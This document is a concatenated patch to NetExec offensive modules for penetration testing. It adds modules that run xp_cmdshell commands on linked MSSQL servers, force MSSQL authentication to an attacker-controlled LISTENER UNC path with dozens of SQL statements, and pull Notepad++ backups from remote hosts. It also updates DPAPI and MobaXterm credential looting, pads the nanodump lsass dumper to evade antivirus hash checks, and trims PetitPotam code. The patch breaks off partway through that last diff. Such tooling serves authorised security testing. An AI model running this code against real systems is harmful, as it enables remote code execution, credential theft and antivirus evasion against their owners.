self.mssql_conn = connection.conn
|
||||
if not self.linked_server:
|
||||
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
|
||||
return
|
||||
|
||||
# Enable or disable xp_cmdshell based on action
|
||||
if self.action == "enable":
|
||||
self.enable_xp_cmdshell()
|
||||
elif self.action == "disable":
|
||||
self.disable_xp_cmdshell()
|
||||
else:
|
||||
self.context.log.fail(f"Unknown action: {self.action}")
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
"""Enable xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
|
||||
out = self.query_and_get_output(query)
|
||||
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
|
||||
out = self.query_and_get_output(query)
|
||||
self.context.log.display(out)
|
||||
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
"""Disable xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
|
||||
self.query_and_get_output(query)
|
||||
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
"""Executes a query and returns the output."""
|
||||
return self.mssql_conn.sql_query(query)
|
||||
@@ -0,0 +1,44 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Run xp_cmdshell commands on a linked SQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_xpcmd"
|
||||
description = "Run xp_cmdshell commands on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.linked_server = None
|
||||
self.command = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for running xp_cmdshell commands on a linked server.
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
CMD The command to run via xp_cmdshell.
|
||||
"""
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
self.command = module_options.get("CMD")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server or not self.command:
|
||||
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
|
||||
return
|
||||
|
||||
self.run_xp_cmdshell(self.command)
|
||||
|
||||
def run_xp_cmdshell(self, cmd):
|
||||
"""Run the specified command via xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
|
||||
result = self.query_and_get_output(query)
|
||||
self.context.log.success(f"Command output:\n{result}")
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
"""Executes a query and returns the output."""
|
||||
return self.mssql_conn.sql_query(query)
|
||||
+8
-5
@@ -1,3 +1,5 @@
|
||||
from pyasn1.error import PyAsn1Error
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -21,9 +23,10 @@ class NXCModule:
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
result = []
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
searchFilter = "(objectClass=*)"
|
||||
attributes = ["ms-DS-MachineAccountQuota"]
|
||||
result = connection.search(searchFilter, attributes)
|
||||
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
|
||||
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
|
||||
try:
|
||||
maq = result[0]["attributes"][0]["vals"][0]
|
||||
context.log.highlight(f"MachineAccountQuota: {maq}")
|
||||
except PyAsn1Error:
|
||||
context.log.highlight("MachineAccountQuota: <not set>")
|
||||
+23
-89
@@ -1,10 +1,8 @@
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,99 +13,34 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PVK Domain backup key file
|
||||
MKFILE File with masterkeys in form of {GUID}:SHA1
|
||||
"""
|
||||
self.pvkbytes = None
|
||||
self.masterkeys = None
|
||||
self.conn = None
|
||||
self.target = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
if self.pvkbytes is None:
|
||||
try:
|
||||
dc = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
dc_conn = DPLootSMBConnection(dc)
|
||||
dc_conn.connect()
|
||||
|
||||
if dc_conn.is_admin:
|
||||
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self.target = Target.create(
|
||||
domain=domain,
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
try:
|
||||
self.conn = DPLootSMBConnection(self.target)
|
||||
self.conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
@@ -115,14 +48,15 @@ class NXCModule:
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
_, credentials = triage.triage_mobaxterm()
|
||||
for credential in credentials:
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
@@ -1,5 +1,4 @@
|
||||
import ntpath
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
@@ -7,6 +6,8 @@ from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
class MRemoteNgEncryptionAttributes:
|
||||
@@ -94,7 +95,10 @@ class NXCModule:
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
@@ -116,14 +120,6 @@ class NXCModule:
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
import sys
|
||||
|
||||
class NXCModule:
|
||||
"""Execute arbitrary SQL commands on the target MSSQL server"""
|
||||
|
||||
name = "mssql_coerce"
|
||||
description = "Execute arbitrary SQL commands on the target MSSQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.listener = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LISTENER LISTENER for exploitation
|
||||
L Alias for LISTENER
|
||||
"""
|
||||
self.context = context
|
||||
self.listener = None
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
if "L" in module_options:
|
||||
self.listener = module_options["L"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.listener is None:
|
||||
context.log.error("LISTENER option is required!")
|
||||
sys.exit(1)
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
commands = [
|
||||
f"xp_dirtree '\\\\{self.listener}\\file';",
|
||||
f"xp_fileexist '\\\\{self.listener}\\file';",
|
||||
f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
|
||||
f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
|
||||
f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
|
||||
f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
|
||||
f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
|
||||
f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
|
||||
f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
|
||||
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
|
||||
f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
|
||||
f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
|
||||
f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
|
||||
f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
|
||||
f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
|
||||
f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
|
||||
f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
|
||||
f"xp_subdirs '\\\\{self.listener}\\file';",
|
||||
f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
|
||||
f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
|
||||
f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
|
||||
f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
|
||||
f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
|
||||
f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
|
||||
]
|
||||
for command in commands:
|
||||
try:
|
||||
result = self.mssql_conn.sql_query(command)
|
||||
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
|
||||
self.context.log.display("Commands executed successfully, check the listener for results")
|
||||
@@ -219,6 +219,7 @@ class NXCModule:
|
||||
"""
|
||||
if self.is_admin_user(user.username):
|
||||
user.is_sysadmin = True
|
||||
self.context.log.debug(f"Updated {user.username} to is_sysadmin")
|
||||
return True
|
||||
user.dbowner = self.check_dbowner_privesc(exec_as)
|
||||
return user.dbowner
|
||||
@@ -249,11 +250,15 @@ class NXCModule:
|
||||
self.revert_context(exec_as)
|
||||
is_admin = res[0][""]
|
||||
self.context.log.debug(f"IsAdmin Result: {is_admin}")
|
||||
if is_admin:
|
||||
self.context.log.debug("User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
try:
|
||||
if int(is_admin):
|
||||
self.context.log.debug("User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except ValueError:
|
||||
self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
|
||||
return False
|
||||
|
||||
def get_databases(self, exec_as="") -> list:
|
||||
@@ -442,10 +447,15 @@ class NXCModule:
|
||||
"""
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
is_admin = res[0][""]
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
try:
|
||||
if is_admin != "NULL" and int(is_admin):
|
||||
self.admin_privs = True
|
||||
self.context.log.debug(f"Updated: {username} is admin!")
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except ValueError:
|
||||
self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
|
||||
return False
|
||||
|
||||
def revert_context(self, exec_as):
|
||||
|
||||
@@ -51,6 +51,10 @@ class NXCModule:
|
||||
self.nano = "nano.exe"
|
||||
self.nano_path = ""
|
||||
self.useembeded = True
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
padding = datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
self.nano_embedded64 += padding
|
||||
self.nano_embedded32 += padding
|
||||
|
||||
if "NANO_PATH" in module_options:
|
||||
self.nano_path = module_options["NANO_PATH"]
|
||||
@@ -149,7 +153,10 @@ class NXCModule:
|
||||
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
if not dump:
|
||||
self.delete_nanodump_binary()
|
||||
return
|
||||
else:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
if self.context.protocol == "smb":
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
# Finds notepad++ unsaved backup files
|
||||
# Module by @Defte_
|
||||
|
||||
name = "notepad++"
|
||||
description = "Extracts notepad++ unsaved files."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
found = 0
|
||||
for directory in connection.conn.listPath("C$", "Users\\*"):
|
||||
if directory.get_longname() not in self.false_positive and directory.is_directory():
|
||||
try:
|
||||
notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\"
|
||||
for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"):
|
||||
file_path = f"{notepad_backup_dir}{file.get_longname()}"
|
||||
if file.get_longname() not in self.false_positive:
|
||||
found += 1
|
||||
file_path = f"{notepad_backup_dir}{file.get_longname()}"
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
file_content = buf.read().decode("utf-8", errors="ignore").lower()
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
file.write(file_content)
|
||||
context.log.highlight(f"Notepad++ backup written to: {path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}")
|
||||
except Exception:
|
||||
pass
|
||||
@@ -40,7 +40,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
except Exception:
|
||||
context.log.error("LDAP search error:", exc_info=True)
|
||||
return False
|
||||
|
||||
+2
-269
@@ -1,25 +1,6 @@
|
||||
# From https://github.com/topotam/PetitPotam
|
||||
# All credit to @topotam
|
||||
# Module by @mpgn_x64
|
||||
|
||||
import sys
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import (
|
||||
DCERPCException,
|
||||
RPC_C_AUTHN_WINNT,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_AUTHN_GSS_NEGOTIATE,
|
||||
)
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "petitpotam"
|
||||
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -37,252 +18,4 @@ class NXCModule:
|
||||
self.pipe = module_options["PIPE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dce = coerce(
|
||||
connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe=self.pipe,
|
||||
do_kerberos=connection.kerberos,
|
||||
kdcHost=connection.kdcHost,
|
||||
remoteHost=connection.host,
|
||||
context=context,
|
||||
)
|
||||
if efs_rpc_open_file_raw(dce, self.listener, context):
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
|
||||
try:
|
||||
host = context.db.get_hosts(connection.host)[0]
|
||||
context.db.add_host(
|
||||
host.ip,
|
||||
host.hostname,
|
||||
host.domain,
|
||||
host.os,
|
||||
host.smbv1,
|
||||
host.signing,
|
||||
petitpotam=True,
|
||||
)
|
||||
except Exception:
|
||||
context.log.debug("Error updating petitpotam status in database")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (("Data", "20s"),)
|
||||
|
||||
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (("Data", ":"),)
|
||||
|
||||
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Type", DWORD),
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_CERTIFICATE_BLOB),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
("Cert", DWORD),
|
||||
("Users", ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
("Type", DWORD),
|
||||
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
("Certif", ENCRYPTION_CERTIFICATE),
|
||||
("Blob", EFS_RPC_BLOB),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (("Data", ":"),)
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
("fileName", WSTR),
|
||||
("Flag", ULONG),
|
||||
)
|
||||
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
("hContext", EXIMPORT_CONTEXT_HANDLE),
|
||||
("ErrorCode", ULONG),
|
||||
)
|
||||
|
||||
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (("FileName", WSTR),)
|
||||
|
||||
|
||||
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
def coerce(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
aesKey,
|
||||
target,
|
||||
pipe,
|
||||
do_kerberos,
|
||||
kdcHost,
|
||||
remoteHost,
|
||||
context=None,
|
||||
):
|
||||
binding_params = {
|
||||
"lsarpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"efsr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
|
||||
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
|
||||
},
|
||||
"samr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"lsass": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
|
||||
